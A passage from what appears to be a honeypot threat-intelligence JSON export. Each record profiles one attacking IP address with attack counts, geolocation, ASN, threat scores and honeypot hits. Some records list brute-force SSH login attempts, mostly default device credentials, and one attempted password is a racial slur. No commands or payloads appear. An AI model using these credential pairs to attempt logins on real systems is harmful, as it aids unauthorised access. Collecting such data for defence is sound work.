        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T07:53:46.641000+00:00",
        "last_seen_30d": "2026-05-13T08:00:16.989000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.73.101.175": {
      "attack_count": 46,
      "first_seen": "2026-05-27T07:57:14.222Z",
      "last_seen": "2026-05-27T08:02:39.761Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 136969,
      "as_org": "KK Networks Pvt Ltd.",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T07:57:14.222000+00:00",
        "last_seen_30d": "2026-05-27T08:03:49.695000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 23
      }
    },
    "5.161.101.51": {
      "attack_count": 42,
      "first_seen": "2026-05-13T18:06:35.001Z",
      "last_seen": "2026-05-30T17:47:11.754Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 213230,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 42.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:06:35.001000+00:00",
        "last_seen_30d": "2026-05-30T17:48:13.071000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "104.199.72.139": {
      "attack_count": 37,
      "first_seen": "2026-05-17T03:16:44.469Z",
      "last_seen": "2026-05-17T03:17:13.285Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:16:44.469000+00:00",
        "last_seen_30d": "2026-05-17T03:18:22.821000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 22
      }
    },
    "197.1.242.91": {
      "attack_count": 32,
      "first_seen": "2026-05-14T02:53:15.996Z",
      "last_seen": "2026-05-14T03:01:26.031Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": "Teboulbou",
      "asn": 37705,
      "as_org": "TOPNET",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:53:15.996000+00:00",
        "last_seen_30d": "2026-05-14T03:02:31.396000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "144.48.135.208": {
      "attack_count": 22,
      "first_seen": "2026-05-14T21:39:05.323Z",
      "last_seen": "2026-05-14T21:41:28.339Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:39:05.323000+00:00",
        "last_seen_30d": "2026-05-23T07:00:39.474000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 16
      }
    },
    "223.74.101.105": {
      "attack_count": 22,
      "first_seen": "2026-05-03T06:30:22.394Z",
      "last_seen": "2026-05-03T06:32:51.750Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:30:22.394000+00:00",
        "last_seen_30d": "2026-05-03T06:33:57.985000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "176.65.132.23": {
      "attack_count": 21,
      "first_seen": "2026-05-06T22:52:58.982Z",
      "last_seen": "2026-05-19T00:24:28.565Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "AdminGPON",
        "root",
        "support"
      ],
      "passwords_attempted": [
        "19821002",
        "ALC#FGU",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 15.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 18,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T01:56:39+00:00",
        "last_seen_30d": "2026-05-19T00:25:37.781000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 20,
        "Honeytrap": 4
      }
    },
    "45.153.34.208": {
      "attack_count": 21,
      "first_seen": "2026-05-11T15:35:22.527Z",
      "last_seen": "2026-05-16T06:28:49.140Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support"
      ],
      "passwords_attempted": [
        "RootPass123!",
        "admin",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:35:22.527000+00:00",
        "last_seen_30d": "2026-05-16T06:29:54.546000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 12
      }
    },
    "92.118.39.196": {
      "attack_count": 20,
      "first_seen": "2026-05-03T07:03:42.938Z",
      "last_seen": "2026-05-16T16:02:57.286Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:03:42.938000+00:00",
        "last_seen_30d": "2026-05-16T16:04:02.926000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "120.28.91.101": {
      "attack_count": 16,
      "first_seen": "2026-05-19T10:15:23.015Z",
      "last_seen": "2026-05-19T11:02:14.346Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Caloocan",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:15:23.015000+00:00",
        "last_seen_30d": "2026-05-19T11:03:21.588000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "36.137.79.219": {
      "attack_count": 16,
      "first_seen": "2026-05-14T22:26:59.272Z",
      "last_seen": "2026-05-14T22:29:05.396Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T22:26:59.272000+00:00",
        "last_seen_30d": "2026-05-14T22:39:14.102000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "14.115.30.214": {
      "attack_count": 12,
      "first_seen": "2026-05-19T19:08:24.331Z",
      "last_seen": "2026-05-19T19:47:07.143Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:08:24.331000+00:00",
        "last_seen_30d": "2026-05-19T19:48:14.959000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "190.8.175.28": {
      "attack_count": 12,
      "first_seen": "2026-05-30T22:56:14.321Z",
      "last_seen": "2026-05-31T14:19:02.027Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 271011,
      "as_org": "SpedyNet Telecom",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T22:56:14.321000+00:00",
        "last_seen_30d": "2026-05-31T14:20:04.303000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "45.86.86.162": {
      "attack_count": 12,
      "first_seen": "2026-05-29T00:55:29.213Z",
      "last_seen": "2026-05-31T12:18:26.631Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T00:55:29.213000+00:00",
        "last_seen_30d": "2026-05-31T12:19:31.421000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "94.102.49.125": {
      "attack_count": 12,
      "first_seen": "2026-05-12T02:11:42.878Z",
      "last_seen": "2026-05-30T20:13:03.123Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 69.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 25,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T21:37:29.588000+00:00",
        "last_seen_30d": "2026-05-30T20:14:12.728000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Cowrie": 12,
        "Honeytrap": 1
      }
    },
    "139.5.108.230": {
      "attack_count": 10,
      "first_seen": "2026-05-10T19:43:52.062Z",
      "last_seen": "2026-05-10T19:44:58.109Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T19:43:52.062000+00:00",
        "last_seen_30d": "2026-05-10T19:45:58.990000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "192.42.116.112": {
      "attack_count": 10,
      "first_seen": "2026-05-18T22:33:38.280Z",
      "last_seen": "2026-05-25T21:50:01.622Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "issabel",
        "system"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "OkwKcECs8qJP2Z"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 61.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.1,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 17,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-09T18:43:06+00:00",
        "last_seen_30d": "2026-05-25T21:51:02.552000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123,
        "Honeytrap": 64,
        "Cowrie": 10,
        "H0neytr4p": 8
      }
    },
    "72.255.18.211": {
      "attack_count": 10,
      "first_seen": "2026-05-16T03:52:16.268Z",
      "last_seen": "2026-05-16T03:53:20.710Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:52:16.268000+00:00",
        "last_seen_30d": "2026-05-16T03:54:27.717000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "147.185.132.16": {
      "attack_count": 8,
      "first_seen": "2026-05-06T16:36:28.651Z",
      "last_seen": "2026-05-27T23:30:07.719Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T02:54:23+00:00",
        "last_seen_30d": "2026-05-31T23:33:14.760000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 25,
        "Cowrie": 8,
        "Dionaea": 3,
        "ConPot": 2
      }
    },
    "172.86.88.58": {
      "attack_count": 6,
      "first_seen": "2026-05-29T19:12:54.274Z",
      "last_seen": "2026-05-29T19:19:23.048Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 68.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.0,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 250,
        "days_active_30d": 2,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-29T19:05:41.195000+00:00",
        "last_seen_30d": "2026-05-30T18:15:40.291000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 193,
        "Honeytrap": 21,
        "H0neytr4p": 12,
        "Tanner": 8,
        "Ciscoasa": 7,
        "Cowrie": 6,
        "Dionaea": 2,
        "Sentrypeer": 1
      }
    },
    "175.11.242.5": {
      "attack_count": 6,
      "first_seen": "2026-05-19T06:30:24.000Z",
      "last_seen": "2026-05-19T06:31:38.111Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:30:24+00:00",
        "last_seen_30d": "2026-05-19T06:32:46.170000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "66.132.172.45": {
      "attack_count": 6,
      "first_seen": "2026-05-09T15:33:27.082Z",
      "last_seen": "2026-05-09T15:34:03.383Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 82.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 28,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T03:28:54+00:00",
        "last_seen_30d": "2026-05-29T20:09:20.286000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 34,
        "ElasticPot": 7,
        "Cowrie": 6,
        "Dicompot": 1
      }
    },
    "185.129.61.8": {
      "attack_count": 5,
      "first_seen": "2026-05-25T20:47:43.639Z",
      "last_seen": "2026-05-25T20:47:54.294Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "system"
      ],
      "passwords_attempted": [
        "nigger"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 210731,
      "as_org": "Forening for DotSrc",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:47:43.639000+00:00",
        "last_seen_30d": "2026-05-25T20:49:04.109000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "112.140.189.200": {
      "attack_count": 4,
      "first_seen": "2026-05-22T20:51:53.280Z",
      "last_seen": "2026-05-22T20:53:02.279Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bhavnagar",
      "asn": 131215,
      "as_org": "116 MADHAV DARSHAN",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:51:53.280000+00:00",
        "last_seen_30d": "2026-05-22T20:54:12.425000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "196.216.93.48": {
      "attack_count": 4,
      "first_seen": "2026-05-22T21:35:36.174Z",
      "last_seen": "2026-05-22T21:36:56.866Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:35:36.174000+00:00",
        "last_seen_30d": "2026-05-22T21:38:06.051000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.16": {
      "attack_count": 4,
      "first_seen": "2026-05-06T04:11:21.430Z",
      "last_seen": "2026-05-06T04:11:24.343Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T04:10:05.691000+00:00",
        "last_seen_30d": "2026-05-21T20:11:50.026000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "201.238.3.98": {
      "attack_count": 4,
      "first_seen": "2026-05-19T16:15:44.704Z",
      "last_seen": "2026-05-19T16:56:38.173Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
